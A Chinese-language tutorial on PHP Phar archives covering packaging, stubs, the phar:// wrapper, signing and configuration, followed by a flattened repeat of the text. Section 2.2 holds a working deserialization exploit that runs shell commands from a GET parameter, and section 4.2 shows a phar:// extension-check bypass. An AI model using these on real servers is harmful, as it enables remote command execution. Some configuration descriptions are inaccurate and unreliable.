关于Phar的深入探索与发现
字数 1164 2025-08-06 18:07:47

Phar 的深入探索与发现

1. Phar 基础概念

Phar (PHP Archive) 是 PHP 的一种打包格式,类似于 Java 的 JAR 文件。它可以将多个 PHP 文件、资源文件等打包成一个单独的文件,便于分发和部署。

1.1 Phar 文件结构

一个标准的 Phar 文件包含三个部分:

  1. Stub - 可执行的 PHP 代码,作为 Phar 文件的入口点
  2. Manifest - 包含 Phar 文件的元数据
  3. File Contents - 实际的文件内容

2. Phar 的核心功能

2.1 作为压缩包使用

Phar 支持多种压缩格式:

  • 不压缩 (Phar::NONE)
  • Gzip 压缩 (Phar::GZ)
  • Bzip2 压缩 (Phar::BZ2)

创建压缩 Phar 文件的示例代码:

$phar = new Phar('example.phar');
$phar->buildFromDirectory('/path/to/files');
$phar->compressFiles(Phar::GZ);

2.2 反序列化利用

Phar 文件在解析时会自动反序列化存储在 manifest 中的元数据,这可能导致反序列化漏洞:

// 创建包含恶意序列化数据的 Phar 文件
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

class Evil {
    function __destruct() {
        system($_GET['cmd']);
    }
}

$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();

触发反序列化的方式:

// 通过文件操作函数触发
file_exists('phar://exploit.phar/test.txt');

3. Phar 的高级功能

3.1 作为独立 PHP 服务运行

Phar 可以作为独立的 PHP 应用程序运行,只需在 stub 中添加可执行代码:

<?php
// 自定义 stub 示例
if (class_exists('Phar')) {
    Phar::mapPhar();
    include 'phar://' . __FILE__ . '/path/to/loader.php';
}
__HALT_COMPILER();
?>

3.2 Phar 流包装器

Phar 提供了 phar:// 流包装器,可以像操作普通文件系统一样操作 Phar 文件中的内容:

// 读取 Phar 中的文件
$content = file_get_contents('phar://example.phar/internal/path/file.txt');

// 遍历 Phar 中的文件
foreach (new RecursiveIteratorIterator(new Phar('example.phar')) as $file) {
    echo $file . "\n";
}

3.3 Phar 签名验证

Phar 文件支持签名验证以确保完整性:

// 创建带签名的 Phar 文件
$phar = new Phar('signed.phar');
$phar['file.txt'] = 'contents';
$privateKey = openssl_pkey_new();
$pkey = '';
openssl_pkey_export($privateKey, $pkey);
$phar->setSignatureAlgorithm(Phar::OPENSSL, $pkey);

验证签名:

$phar = new Phar('signed.phar');
var_dump($phar->getSignature());

4. Phar 的安全考虑

4.1 反序列化风险

由于 Phar 文件会自动反序列化元数据,因此需要注意:

  • 不要反序列化不可信的 Phar 文件
  • 使用 phar.readonly 配置限制 Phar 写入

4.2 文件系统操作风险

phar:// 流包装器可能被用于绕过安全限制:

// 可能绕过文件扩展名检查
include('phar://uploaded/file.txt/actual.php');

5. Phar 实用技巧

5.1 创建自解压 Phar

$stub = <<<'EOT'
<?php
Phar::mapPhar();
include 'phar://' . __FILE__ . '/index.php';
__HALT_COMPILER();
EOT;

$phar = new Phar('self-extracting.phar');
$phar->setStub($stub);
$phar->buildFromDirectory('/path/to/app');

5.2 修改现有 Phar 文件

$phar = new Phar('existing.phar');
$phar->startBuffering();
$phar['newfile.txt'] = 'New content';
$phar->setStub($phar->createDefaultStub('new_index.php'));
$phar->stopBuffering();

5.3 Phar 与 Composer 结合

可以将 Composer 依赖打包到 Phar 中:

require 'vendor/autoload.php';
$phar = new Phar('app.phar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator('src/')
    ),
    'src/'
);
$phar->addFile('vendor/autoload.php');
$phar->setStub($phar->createDefaultStub('src/index.php'));

6. Phar 配置选项

php.ini 中与 Phar 相关的重要配置:

; 是否允许写入 Phar 文件
phar.readonly = On

; 是否允许执行 Phar 文件中的 PHP 代码
phar.require_hash = On

; 缓存 Phar 文件到内存中
phar.cache_list =

7. 性能优化

对于大型 Phar 文件:

  • 使用压缩减少文件大小
  • 考虑将不常用的资源放在外部
  • 使用 Phar::mapPhar() 提高加载速度

8. 调试 Phar 文件

调试技巧:

// 检查 Phar 文件信息
print_r(Phar::running());
print_r(Phar::interceptFileFuncs());

// 列出 Phar 内容
$phar = new Phar('example.phar');
foreach ($phar as $file) {
    echo $file->getFileName() . "\n";
}

9. 实际应用案例

9.1 打包 Web 应用

$phar = new Phar('webapp.phar');
$phar->buildFromDirectory('/path/to/webapp');
$phar->setStub($phar->createDefaultStub('public/index.php'));

// 部署时只需上传单个文件

9.2 命令行工具分发

$phar = new Phar('tool.phar');
$phar->buildFromDirectory('/path/to/cli-tool');
$phar->setStub('#!/usr/bin/env php' . PHP_EOL . $phar->createDefaultStub('bin/main.php'));

// 使 Phar 可执行
chmod('tool.phar', 0755);

10. 限制与注意事项

  1. Phar 文件不能包含某些特殊字符的文件名
  2. 某些 PHP 配置可能限制 Phar 功能
  3. 在 Windows 上可能需要额外配置
  4. 大型 Phar 文件可能影响性能

通过深入理解 Phar 的这些功能和特性,开发者可以更有效地利用 Phar 进行应用打包、部署和安全防护。

Phar 的深入探索与发现 1. Phar 基础概念 Phar (PHP Archive) 是 PHP 的一种打包格式,类似于 Java 的 JAR 文件。它可以将多个 PHP 文件、资源文件等打包成一个单独的文件,便于分发和部署。 1.1 Phar 文件结构 一个标准的 Phar 文件包含三个部分: Stub - 可执行的 PHP 代码,作为 Phar 文件的入口点 Manifest - 包含 Phar 文件的元数据 File Contents - 实际的文件内容 2. Phar 的核心功能 2.1 作为压缩包使用 Phar 支持多种压缩格式: 不压缩 (Phar::NONE) Gzip 压缩 (Phar::GZ) Bzip2 压缩 (Phar::BZ2) 创建压缩 Phar 文件的示例代码: 2.2 反序列化利用 Phar 文件在解析时会自动反序列化存储在 manifest 中的元数据,这可能导致反序列化漏洞: 触发反序列化的方式: 3. Phar 的高级功能 3.1 作为独立 PHP 服务运行 Phar 可以作为独立的 PHP 应用程序运行,只需在 stub 中添加可执行代码: 3.2 Phar 流包装器 Phar 提供了 phar:// 流包装器,可以像操作普通文件系统一样操作 Phar 文件中的内容: 3.3 Phar 签名验证 Phar 文件支持签名验证以确保完整性: 验证签名: 4. Phar 的安全考虑 4.1 反序列化风险 由于 Phar 文件会自动反序列化元数据,因此需要注意: 不要反序列化不可信的 Phar 文件 使用 phar.readonly 配置限制 Phar 写入 4.2 文件系统操作风险 phar:// 流包装器可能被用于绕过安全限制: 5. Phar 实用技巧 5.1 创建自解压 Phar 5.2 修改现有 Phar 文件 5.3 Phar 与 Composer 结合 可以将 Composer 依赖打包到 Phar 中: 6. Phar 配置选项 php.ini 中与 Phar 相关的重要配置: 7. 性能优化 对于大型 Phar 文件: 使用压缩减少文件大小 考虑将不常用的资源放在外部 使用 Phar::mapPhar() 提高加载速度 8. 调试 Phar 文件 调试技巧: 9. 实际应用案例 9.1 打包 Web 应用 9.2 命令行工具分发 10. 限制与注意事项 Phar 文件不能包含某些特殊字符的文件名 某些 PHP 配置可能限制 Phar 功能 在 Windows 上可能需要额外配置 大型 Phar 文件可能影响性能 通过深入理解 Phar 的这些功能和特性,开发者可以更有效地利用 Phar 进行应用打包、部署和安全防护。